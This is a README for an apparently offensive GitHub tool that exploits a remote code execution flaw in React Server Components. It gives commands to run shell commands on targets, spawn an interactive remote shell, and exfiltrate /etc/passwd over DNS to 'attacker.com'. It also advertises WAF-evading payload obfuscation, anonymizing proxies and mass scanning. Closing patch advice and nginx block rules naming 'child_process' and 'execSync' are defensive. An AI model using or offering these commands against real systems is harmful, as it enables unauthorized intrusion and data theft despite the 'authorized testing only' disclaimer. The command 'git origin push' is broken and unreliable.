cerberusmrxi/cve-2025-55182-advanced-react-server-components-rce-exploitAdvanced React Server Components RCE scanner for CVE-2025-55182. Features: multi-stage fingerprinting, vulnerability verification, DNS exfiltration, interactive shell, payload obfuscation, and professional reporting (JSON/HTML/PDF). Authorized testing only.
**This tool is engineered exclusively for EDUCATIONAL and AUTHORIZED SECURITY TESTING purposes.**Unauthorized utilization of this software against targets without prior written consent constitutes a violation of international computer crime laws, including the Computer Fraud and Abuse Act (CFAA), GDPR mandates, and standard terms of service agreements. The author and contributors disclaim all liability for any misuse, illegal operations, or consequential damages resulting from this program.Proceed strictly at your own risk.
ReactRCE-Scanner is an enterprise-grade security assessment and verification framework designed specifically for CVE-2025-55182 [1], a critical Remote Code Execution (RCE) vulnerability affecting React Server Components across versions 19.0.0 through 19.2.0.
The framework bridges the gap between theoretical vulnerability research and practical security validation. By incorporating multi-stage fingerprinting, rigorous false-positive reduction, advanced payload obfuscation, and automated multi-format reporting, it provides security engineers with precise diagnostic capabilities.
| Usage | Scan Results |
|---|---|
| Feature Category | Implementation Highlight | Operational Status |
|---|---|---|
| Smart Fingerprinting | Multi-source framework and version detection with confidence scoring algorithms. | ✅ |
| Multi-Stage Verification | 5-stage validation pipeline designed to systematically eliminate false positives. | ✅ |
| Payload Generation | Obfuscated payload builder supporting DNS exfiltration and multi-encoding. | ✅ |
| Interactive Shell | Real-time pseudo-interactive command execution and shell access on verified targets. | ✅ |
| Comprehensive Reporting | Automated report generation in JSON, HTML, PDF, and Markdown formats. | ✅ |
| DNS Exfiltration | Out-of-band command output exfiltration via secure DNS query handling. | ✅ |
| Concurrency Engine | High-performance multi-threaded scanning architecture for large attack surfaces. | ✅ |
| Proxy Integration | HTTP/HTTPS and SOCKS proxy support for anonymized assessment traffic. | ✅ |
Clone the repository and initialize the environment utilizing the automated setup script or manual dependency installation:
# Clone the repository
git clone https://github.com/CerberusMrXi/CVE-2025-55182-Advanced-React-Server-Components-RCE-Exploit.git
cd CVE-2025-55182-Advanced-React-Server-Components-RCE-Exploit
# Configure execution permissions and run setup script
chmod +x setup.sh
./setup.sh
# Alternatively, install core Python dependencies manually
pip install -r requirements.txt
The framework operates via a modular CLI architecture supporting single-target validation, bulk scanning from file lists, interactive shell spawning, and compliance reporting.
# 1. Perform a vulnerability scan against a single target
python exploit.py -t https://target.com -m scan
# 2. Execute bulk scans from a target list with JSON export
python exploit.py -f targets.txt -m scan -o report.json
# 3. Execute a single command on a verified vulnerable endpoint
python exploit.py -t https://target.com -m exploit -c "whoami"
# 4. Initiate an interactive remote shell session
python exploit.py -t https://target.com -m shell
# 5. Execute commands with out-of-band DNS exfiltration
python exploit.py -t https://target.com -m exploit -c "cat /etc/passwd" -d attacker.com
# 6. Compile a professional executive assessment report in PDF format
python exploit.py -f targets.txt -o assessment_report.pdf --format pdf
The framework performs deep reconnaissance prior to payload delivery. It analyzes multiple HTTP header fields (X-Powered-By, Next-Action, RSC ), HTML structural meta tags (data-reactroot, __NEXT_DATA__), static build assets, and JavaScript source bundles [2] [3].
Confidence scores are categorized into four tiers:
CRITICAL (95%+): Multiple orthogonal indicators confirm vulnerable React Server Component runtime versions.
HIGH (75–95%): Strong structural indicators identified with exact version matching.
MEDIUM (50–75%): Partial framework markers present; manual verification required.
LOW (<50%): Weak heuristics detected; high probability of false positive.
To maintain operational integrity and prevent unintended service disruptions, payloads pass through a strict validation pipeline before any exploitation phase is unlocked.
Target URL / Endpoint
│
▼
[Stage 1] Framework & Header Detection
│
▼
[Stage 2] Component Version Analysis
│
▼
[Stage 3] Protocol Compatibility Check
│
▼
[Stage 4] Non-Destructive Safe Validation Request
│
▼
[Stage 5] Statistical Confidence Scoring
│
▼
Vulnerability Assessment Decision
To test defensive controls and Web Application Firewalls (WAFs), the framework embeds an advanced payload generator supporting:
Encoding Schemes: Base64, Hexadecimal, and Octal transformations.
Structural Obfuscation: Dynamic string splitting, junk code injection, and alternative require method mapping.
Out-of-Band (OOB) Exfiltration: Secure data tunneling across DNS queries when direct response channels are restricted.
Upon successful session establishment, operators can invoke an interactive shell environment for post-verification enumeration.
$ python exploit.py -t https://target.com -m shell
[*] Initializing interactive shell session against https://target.com
[!] Type 'exit' to terminate the session.
shell> whoami
www-data
shell> uname -a
Linux ip-10-0-1-15 6.8.0-1018-aws #20-Ubuntu SMP PREMO__X64 x86_64 GNU/Linux
shell> exit
[*] Terminating session and cleaning up temporary artifacts...
Reports can be generated across multiple standardized formats (JSON, HTML, PDF, Markdown ) containing executive summaries, risk metrics, detailed technical findings, evidence timelines, and CVSS v3.1 scoring breakdowns [4].
Advanced parameters are managed through the config.yaml configuration file. Below is a production configuration template:
# ReactRCE-Scanner Production Configuration
timeout: 30
threads: 20
max_retries: 3
proxy: null
user_agent: "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
headers:
Accept: "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8"
Accept-Language: "en-US,en;q=0.5"
Accept-Encoding: "gzip, deflate, br"
output:
format: "json"
directory: "./reports"
logging:
level: "INFO"
file: "exploit.log"
exploit:
obfuscate: true
encoding: "base64"
timeout: 60
scanning:
concurrent_scans: 20
rate_limit: 0.5
timeout: 30
fingerprint:
enable_deep_analysis: true
follow_redirects: true
analyze_assets: true
Execute scans referencing the custom configuration file via:
python exploit.py -f targets.txt -C config.yaml -o report.json
The repository includes a comprehensive unit and integration test suite to ensure module stability across releases.
# Execute the complete automated test suite
python exploit.py --test
# Expected Output:
Running test suite...
✓ test_fingerprinting passed
✓ test_payload_generation passed
✓ test_config_loading passed
✓ test_verification passed
✓ test_report_generation passed
Tests passed: 5/5
For contributors setting up a local development environment:
git clone https://github.com/CerberusMrXi/CVE-2025-55182-Advanced-React-Server-Components-RCE-Exploit.git
cd CVE-2025-55182-Advanced-React-Server-Components-RCE-Exploit
pip install -r requirements-dev.txt
# Run pytest unit tests
pytest tests/
# Format and lint codebase
black exploit.py
flake8 exploit.py
Patching: Upgrade React packages immediately to version 19.2.1 or higher. Update Next.js instances to version 15.0.4+ [5].
Monitoring: Inspect HTTP access logs for suspicious Next-Action header values and unvalidated prototype references (__proto__, constructor ) [6].
Network Hardening: Restrict outbound recursive DNS queries from application servers to prevent data exfiltration.
# Block prototype pollution and remote execution attempts in request bodies
if ($request_body ~* "__proto__") {
return 403;
}
if ($request_body ~* "constructor") {
return 403;
}
if ($request_body ~* "child_process") {
return 403;
}
if ($request_body ~* "execSync") {
return 403;
}
Contributions, feature requests, and bug reports are welcome. Please adhere to the standard fork-and-pull request workflow:
Fork the repository (https://github.com/CerberusMrXi/CVE-2025-55182-Advanced-React-Server-Components-RCE-Exploit/fork )
Create your feature branch (git checkout -b feature/AdvancedScannerModule)
Commit your changes (git commit -m 'Add advanced scanning heuristic')
Push to the branch (git origin push feature/AdvancedScannerModule)
Open a Pull Request
Distributed under the MIT License. See LICENSE for more information.
Created with precision by CerberusMrXi Last Updated: August 2026